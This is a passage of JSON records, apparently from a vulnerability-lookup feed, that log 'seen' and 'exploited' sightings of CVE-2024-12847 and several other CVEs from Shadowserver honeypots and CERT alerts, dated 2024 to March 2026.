"2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-21)", "content": "", "creation_timestamp": "2026-02-21T00:00:00.000000Z"}, {"uuid": "13a36596-1a4d-46f8-8018-f3f287068ae9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-05)", "content": "", "creation_timestamp": "2026-03-05T00:00:00.000000Z"}, {"uuid": "5415d09a-47b6-45cb-bcc1-9a27caf90798", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-06)", "content": "", "creation_timestamp": "2026-03-06T00:00:00.000000Z"}, {"uuid": "ccf371b5-8324-4696-8e44-cf6712d7cda3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-08)", "content": "", "creation_timestamp": "2026-03-08T00:00:00.000000Z"}, {"uuid": "769fb096-f1e3-4fd9-94ab-994453ea85bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-26)", "content": "", "creation_timestamp": "2026-02-26T00:00:00.000000Z"}, {"uuid": "0a0be473-d462-4a41-903b-372c3e510717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-24)", "content": "", "creation_timestamp": "2026-02-24T00:00:00.000000Z"}, {"uuid": "ef6b7f23-e1d5-422d-ad9f-37f58a94f143", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-02)", "content": "", "creation_timestamp": "2026-03-02T00:00:00.000000Z"}, {"uuid": "0d9c03d5-5d68-4425-940f-92c97d116499", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-18)", "content": "", "creation_timestamp": "2026-02-18T00:00:00.000000Z"}, {"uuid": "a84beaed-a1f0-461a-9052-ba18440e0118", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-26)", "content": "", "creation_timestamp": "2026-02-26T00:00:00.000000Z"}, {"uuid": "93c058b6-e673-4650-9a34-296237ccd3c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-19)", "content": "", "creation_timestamp": "2026-02-19T00:00:00.000000Z"}, {"uuid": "ff442646-e110-40fa-bc3b-2955bb87e21f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-06)", "content": "", "creation_timestamp": "2026-03-06T00:00:00.000000Z"}, {"uuid": "70ab7ef1-6f2c-4668-9df0-dd2679ae2027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-20)", "content": "", "creation_timestamp": "2026-02-20T00:00:00.000000Z"}, {"uuid": "9498d7a1-fadf-41bf-bb66-351794d38ce7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-28)", "content": "", "creation_timestamp": "2026-02-28T00:00:00.000000Z"}, {"uuid": "3b0ee1e8-4c7b-410d-826e-d7f9732291c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-05)", "content": "", "creation_timestamp": "2026-03-05T00:00:00.000000Z"}, {"uuid": "91772dd7-b042-41e0-8cfd-567d255dfa10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-09)", "content": "", "creation_timestamp": "2026-03-09T00:00:00.000000Z"}, {"uuid": "2982921e-6a40-4472-9c47-06e0a19f5710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-04)", "content": "", "creation_timestamp": "2026-03-04T00:00:00.000000Z"}, {"uuid": "e7f5369d-7108-4062-95ba-01d1a4a5c673", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-20)", "content": "", "creation_timestamp": "2026-02-20T00:00:00.000000Z"}, {"uuid": "f1e130c8-826c-437e-a92b-54fa558cd4e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-27)", "content": "", "creation_timestamp": "2026-02-27T00:00:00.000000Z"}, {"uuid": "9d2dab2e-7cd4-49b1-9cad-48392895188a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-04)", "content": "", "creation_timestamp": "2026-03-04T00:00:00.000000Z"}, {"uuid": "8abe5605-98d1-412c-8ab0-554c131f2b81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-05)", "content": "", "creation_timestamp": "2026-03-05T00:00:00.000000Z"}, {"uuid": "f2d5da20-aa99-4686-b42d-3c7a1a9a939a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-07)", "content": "", "creation_timestamp": "2026-03-07T00:00:00.000000Z"}, {"uuid": "e077c337-4a06-4672-a36e-b7404b08d63e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-28)", "content": "", "creation_timestamp": "2026-02-28T00:00:00.000000Z"}, {"uuid": "553a74c3-7e0f-41c0-99de-1ceefa2058f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-05)", "content": "", "creation_timestamp": "2026-03-05T00:00:00.000000Z"}, {"uuid": "3b83c88d-bed0-4b0c-b314-0a188f2a9864", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-25)", "content": "", "creation_timestamp": "2026-02-25T00:00:00.000000Z"}, {"uuid": "da4a0708-fae6-43b7-82eb-09d9b627c049", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-19)", "content": "", "creation_timestamp": "2026-02-19T00:00:00.000000Z"}, {"uuid": "85821b8a-1734-438c-bf37-1e5371e3f534", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-20)", "content": "", "creation_timestamp": "2026-02-20T00:00:00.000000Z"}, {"uuid": "d3ad5061-95bc-4d14-8245-5d0af315e1c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-28)", "content": "", "creation_timestamp": "2026-02-28T00:00:00.000000Z"}, {"uuid": "e06f208c-28e9-467e-9422-4edf0d159fb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-01)", "content": "", "creation_timestamp": "2026-03-01T00:00:00.000000Z"}, {"uuid": "ee3cf248-ac01-4b58-9fb6-bfe569c059bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-10)", "content": "", "creation_timestamp": "2026-03-10T00:00:00.000000Z"}, {"uuid": "a5789c54-62d5-439f-9e26-6fbd7f373543", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-10)", "content": "", "creation_timestamp": "2026-03-10T00:00:00.000000Z"}, {"uuid": "c11bb8be-a46d-4837-8baf-0819aa9b6280", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-25)", "content": "", "creation_timestamp": "2026-03-25T00:00:00.000000Z"}, {"uuid": "d75cb621-0218-4384-9e79-16c3d9a48493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-12)", "content": "", "creation_timestamp": "2026-03-12T00:00:00.000000Z"}, {"uuid": "7df6cbb0-d883-4254-868b-c2c75b263b6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-18)", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "db4b16c1-c58f-4243-a2f9-375fafd6a5cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-19)", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "74345ca8-04e0-4cfb-bfcd-ac623f49606f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-14)", "content": "", "creation_timestamp": "2026-03-14T00:00:00.000000Z"}, {"uuid": "bfb78d23-d5bc-4d14-846d-6a7dd133ed1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-16)", "content": "", "creation_timestamp": "2026-03-16T00:00:00.000000Z"}, {"uuid": "bfff8a89-37a8-47fc-b993-8e36bf30f8c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-13)", "content": "", "creation_timestamp": "2026-03-13T00:00:00.000000Z"}, {"uuid": "772a9e11-fdde-442f-ba13-7bd16a6a5721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-17)", "content": "", "creation_timestamp": "2026-03-17T00:00:00.000000Z"}, {"uuid": "b6807155-ef98-4fa8-88c9-28cc26cee4b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-24)", "content": "", "creation_timestamp": "2026-03-24T00:00:00.000000Z"}, {"uuid": "87c994cc-3c4a-4b3f-aa10-a558f996780d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-11)", "content": "", "creation_timestamp": "2026-03-11T00:00:00.000000Z"}, {"uuid": "c25bfbad-4b5a-4703-bda7-281ae1ab4260", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-22)", "content": "", "creation_timestamp": "2026-03-22T00:00:00.000000Z"}, {"uuid": "4596effd-46a8-4363-bc4e-c31aa9045afc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-23)", "content": "", "creation_timestamp": "2026-03-23T00:00:00.000000Z"}, {"uuid": "711534ad-85c8-4b05-9e5a-ef491334fc35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-12)", "content": "", "creation_timestamp": "2026-03-12T00:00:00.000000Z"}, {"uuid": "45d130da-7c24-4887-8ad8-b6c15b8c962e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-18)", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "e41d217e-b41e-4ab6-aae7-95e717a5de94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-14)", "content": "", "creation_timestamp": "2026-03-14T00:00:00.000000Z"}, {"uuid": "f3cd0cdb-9f8f-49d8-9bcd-ceebf7af279b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-16)", "content": "", "creation_timestamp": "2026-03-16T00:00:00.000000Z"}, {"uuid": "aafe00d6-4f58-4d05-a12e-e4c143d597c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-13)", "content": "", "creation_timestamp": "2026-03-13T00:00:00.000000Z"}, {"uuid": "f83d21d3-b595-4978-b62b-8c0bd10acf16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-24)", "content": "", "creation_timestamp": "2026-03-24T00:00:00.000000Z"}, {"uuid": "ebb5e6f2-8034-470a-a217-9818e3a0997d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-12)", "content": "", "creation_timestamp": "2026-03-12T00:00:00.000000Z"}, {"uuid": "73daff55-a53a-4776-8a8d-091e9d3a23bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-11)", "content": "", "creation_timestamp": "2026-03-11T00:00:00.000000Z"}, {"uuid": "919f4807-2525-4c15-b4b5-e6885ae9c6df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-15)", "content": "", "creation_timestamp": "2026-03-15T00:00:00.000000Z"}, {"uuid": "52b90d00-1238-4bcb-9eac-146535b828a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-20)", "content": "", "creation_timestamp": "2026-03-20T00:00:00.000000Z"}, {"uuid": "de5ca687-db96-4465-9650-eba06d61f821", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-21)", "content": "", "creation_timestamp": "2026-03-21T00:00:00.000000Z"}, {"uuid": "f177e355-fffa-41a8-8638-49502617913f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-15)", "content": "", "creation_timestamp": "2026-03-15T00:00:00.000000Z"}, {"uuid": "e183b1bd-6adf-4f53-a1b5-801abb8ec356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-20)", "content": "", "creation_timestamp": "2026-03-20T00:00:00.000000Z"}, {"uuid": "18197d7a-8d4a-45fd-b8dd-893254292a5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-21)", "content": "", "creation_timestamp": "2026-03-21T00:00:00.000000Z"}, {"uuid": "fc38a5a8-663d-47f3-ac93-15d113b76355", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1450", "content": "", "creation_timestamp": "2024-12-23T04:00:00.000000Z"}, {"uuid": "f3962d37-6295-4093-9507-b4ae0fbf59bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1450", "content": "", "creation_timestamp": "2024-12-23T04:00:00.000000Z"}, {"uuid": "4ef952fc-a654-4c42-9259-2bdaf11e20b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1450", "content": "", "creation_timestamp": "2024-12-23T04:00:00.000000Z"}, {"uuid": "eadf3447-e5ce-42f4-9892-5901d3daeec8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_4/2025", "content": "", "creation_timestamp": "2025-01-16T11:13:46.000000Z"}, {"uuid": "28576419-312c-4ecf-b6bf-b3e1e326fe84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_4/2025", "content": "", "creation_timestamp": "2025-01-16T11:13:46.000000Z"}, {"uuid": "e4d480e7-bea6-48db-9886-56217923dad3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_4/2025", "content": "", "creation_timestamp": "2025-01-16T11:13:46.000000Z"}, {"uuid": "21b7c342-4318-4724-8b63-3919794dc485", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-17)", "content": "", "creation_timestamp": "2026-03-17T00:00:00.000000Z"}, {"uuid": "fc4c1d0c-a3a6-468f-b225-f4da9e94bcc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_4/2025", "content": "", "creation_timestamp": "2025-01-16T11:13:46.000000Z"}, {"uuid": "2630a393-f201-42d5-aef3-9ca124ecd2b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_4/2025", "content": "", "creation_timestamp": "2025-01-16T11:13:46.000000Z"}, {"uuid": "643404e5-fc60-44b6-8cfc-64415b906b09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_4/2025", "content": "", "creation_timestamp": "2025-01-16T11:13:46.000000Z"}, {"uuid": "a51968f4-9905-4d69-ace6-7a23e6342bf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-25)", "content": "", "creation_timestamp": "2026-03-25T00:00:00.000000Z"}, {"uuid": "818cb6e8-58d6-4ca9-8c11-318e5b70fd93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-19)", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "a4471995-a29e-452b-9a4d-caf9b583a8d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-22)", "content": "", "creation_timestamp": "2026-03-22T00:00:00.000000Z"}, {"uuid": "fc1a088e-0122-4966-b99f-700da93a5284", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-17)", "content": "", "creation_timestamp": "2026-03-17T00:00:00.000000Z"}, {"uuid": "3527d4ba-ab6d-4d17-b857-63e795f5be1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-23)", "content": "", "creation_timestamp": "2026-03-23T00:00:00.000000Z"}, {"uuid": "45f32e94-2b9b-4f74-9417-5b18405caf2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12988", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-a857457d-5caacd1223a0e069", "content": "", "creation_timestamp": "2026-03-27T14:18:10.216463Z"}, {"uuid": "ff5985c8-c027-4883-84ab-f039ee5f571c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-28)", "content": "", "creation_timestamp": "2026-03-28T00:00:00.000000Z"}, {"uuid": "30c40a9c-51c7-468d-affa-065bd7ebcf14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-26)", "content": "", "creation_timestamp": "2026-03-26T00:00:00.000000Z"}, {"uuid": "ec238c71-90c0-4a06-8955-35f44673b2d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 